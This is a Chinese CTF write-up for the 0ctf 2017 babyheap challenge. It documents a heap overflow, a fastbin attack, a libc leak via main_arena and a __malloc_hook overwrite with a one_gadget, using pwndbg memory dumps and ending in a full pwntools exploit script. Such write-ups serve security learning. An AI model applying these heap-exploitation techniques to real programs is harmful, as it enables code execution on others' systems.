本文主要列出0ctf_2017_babyheap的详细过程
主要参考:https://bbs.pediy.com/thread-223461.htm
fill中的size可以重新设置,故可以造成堆溢出。
方法:fastbin attack
double free泄露libc
【small/large chunk释放,fd和bk指向main_arena】
fastbin attack写malloc_hook为one_gadget
winter@ubuntu:~/buu$ checksec 0ctf_2017_babyheap
[*] '/home/winter/buu/0ctf_2017_babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
四个0x10、一个0x80
第0个块作用:方便修改第1、2块
第3个块作用:方便修改0x80的块
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000
为double free做准备,其中 块2指向块1
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
fd: 0x00
#2
#指向块1,先进后出
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6020
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6020 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000
通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
溢出实现
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000021
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
修改成功,但是由于chunk4的大小修改了,故找不到top chunk了,故后期需要把大小:0x10->0x80
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6080
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00
Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
通过溢出,成功修改了chunk2指向chunk4,导致未释放的chunk4加入到了bin中,重新allocate,导致idx=2、4都为同一个块。
pwndbg> bins
fastbins
0x20: 0x555923ab8040 —▸ 0x555923ab8080 ◂— 0x21 /* '!' */
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
1、2、4
释放:块1->块2
修改:块2->块4
重新申请:块4->块2(idx1->idx2)
故
- 原块1直接释放态->allocate态
- 原块2->idx1
- 原块4->idx2
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
#先进后出
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00
Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
为了让top chunk重新找得到,故需要重新讲chunk4的大小修改回0x80,以便于之后申请操作。
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
pwndbg> heap
#0
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
#1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
#new 1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
#3
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#2、4
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
#alloc(0x80)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x91
Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
因为此时idx2、4都指向chunk4,故可以释放chunk4,此时它里面会填入main_arena中地址,可以计算得到libc_base
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#free(4)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78
Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90
Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
新块的idx为4(把idx4给了分配的块,为分配的0x21没有idx)
切割0x91的块,剩下0x21放入了unsortedbin中
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78
Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90
Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助,,,
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#free(4)
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x00
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78
Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90
Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
需要改地址,有fastbin大小的八字节数字,,,
#payload = p64(libc_base+0x3c4aed)
#fill(2, payload)
pwndbg> x/30gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000071
0x5614ee1f6090: 0x00007f6a86e67aed 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x7f6a86e67aed#修改后的地址
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78
Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90
Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
#接下来申请两遍,即可得到0x7f6a86e67aed地址的块,可以对0x7f6a86e67aed进行数据读写
0x70: 0x5614ee1f6080 —▸ 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78
Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90
Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty
pwndbg> x/30gx 0x7f6a86e67aed
0x7f6a86e67aed <_IO_wide_data_0+301>: 0x6a86e66260000000 0x000000000000007f
0x7f6a86e67afd: 0x6a86b28ea0000000 0x6a86b28a7000007f
0x7f6a86e67b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f6a86e67b1d: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b2d : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b3d : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b4d : 0x6a86e67aed000000 0x000000000000007f
0x7f6a86e67b5d : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b6d : 0x0000000000000000 0x14ee1f61a0000000
0x7f6a86e67b7d : 0x14ee1f60f0000056 0x14ee1f60f0000056
0x7f6a86e67b8d : 0x14ee1f60f0000056 0x6a86e67b88000056
0x7f6a86e67b9d : 0x6a86e67b8800007f 0x6a86e67b9800007f
0x7f6a86e67bad : 0x6a86e67b9800007f 0x6a86e67ba800007f
0x7f6a86e67bbd : 0x6a86e67ba800007f 0x6a86e67bb800007f
0x7f6a86e67bcd : 0x6a86e67bb800007f 0x6a86e67bc800007f
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>: 0x00007f6a86b28ea0 0x00007f6a86b28a70
0x7f6a86e67b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b20 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b30 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b40 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b50 : 0x6a86b28ea0000000 0x0000000000000000
0x7f6a86e67b60 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b70 : 0x0000000000000000 0x00005614ee1f61a0
0x7f6a86e67b80 : 0x00005614ee1f60f0 0x00005614ee1f60f0
0x7f6a86e67b90 : 0x00005614ee1f60f0 0x00007f6a86e67b88
0x7f6a86e67ba0 : 0x00007f6a86e67b88 0x00007f6a86e67b98
0x7f6a86e67bb0 : 0x00007f6a86e67b98 0x00007f6a86e67ba8
0x7f6a86e67bc0 : 0x00007f6a86e67ba8 0x00007f6a86e67bb8
0x7f6a86e67bd0 : 0x00007f6a86e67bb8 0x00007f6a86e67bc8
0x7f6a86e67be0 : 0x00007f6a86e67bc8 0x00007f6a86e67bd8
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>: 0x0000000000000000 0x0000000000000000
0x7f6a86e67b10 <__malloc_hook>: 0x00007f6a86ae826a 0x0000000000000000
0x7f6a86e67b20 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b30 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b40 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b50 : 0x6a86b28ea0000000 0x0000000000000000
0x7f6a86e67b60 : 0x0000000000000000 0x0000000000000000
0x7f6a86e67b70 : 0x0000000000000000 0x00005614ee1f61a0
0x7f6a86e67b80 : 0x00005614ee1f60f0 0x00005614ee1f60f0
0x7f6a86e67b90 : 0x00005614ee1f60f0 0x00007f6a86e67b88
0x7f6a86e67ba0 : 0x00007f6a86e67b88 0x00007f6a86e67b98
0x7f6a86e67bb0 : 0x00007f6a86e67b98 0x00007f6a86e67ba8
0x7f6a86e67bc0 : 0x00007f6a86e67ba8 0x00007f6a86e67bb8
0x7f6a86e67bd0 : 0x00007f6a86e67bb8 0x00007f6a86e67bc8
0x7f6a86e67be0 : 0x00007f6a86e67bc8 0x00007f6a86e67bd8
最后只要执行malloc操作,即可get shell
allo(0x60)
allo(0x60)
payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
allo(79)
from pwn import *
p = process("./0ctf_2017_babyheap")
#p=remote("node3.buuoj.cn",25261)
context.log_level = 'debug'
def allo(size):
p.recvuntil("Command: ")
p.sendline(str(1))
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx,size,content):
p.recvuntil("Command: ")
p.sendline(str(2))
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline(str(3))
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline(str(4))
p.recvuntil("Index: ")
p.sendline(str(idx))
allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4
free(1)
free(2)
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)
payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)
allo(0x10)#1 The original position of 2
allo(0x10)#2 4 Simultaneous pointing
payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)
allo(0x80)
free(4)
dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
print(hex(content))
libc_base = (content) - 0x3c4b78
print(hex(libc_base))
allo(0x60)
free(4)
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)
allo(0x60)
allo(0x60)
gdb.attach(p)
pause()
payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)
fill(6,len(payload),payload)
allo(79)
# gdb.attach(p)
p.interactive()
常规的堆题流程,,,经典题目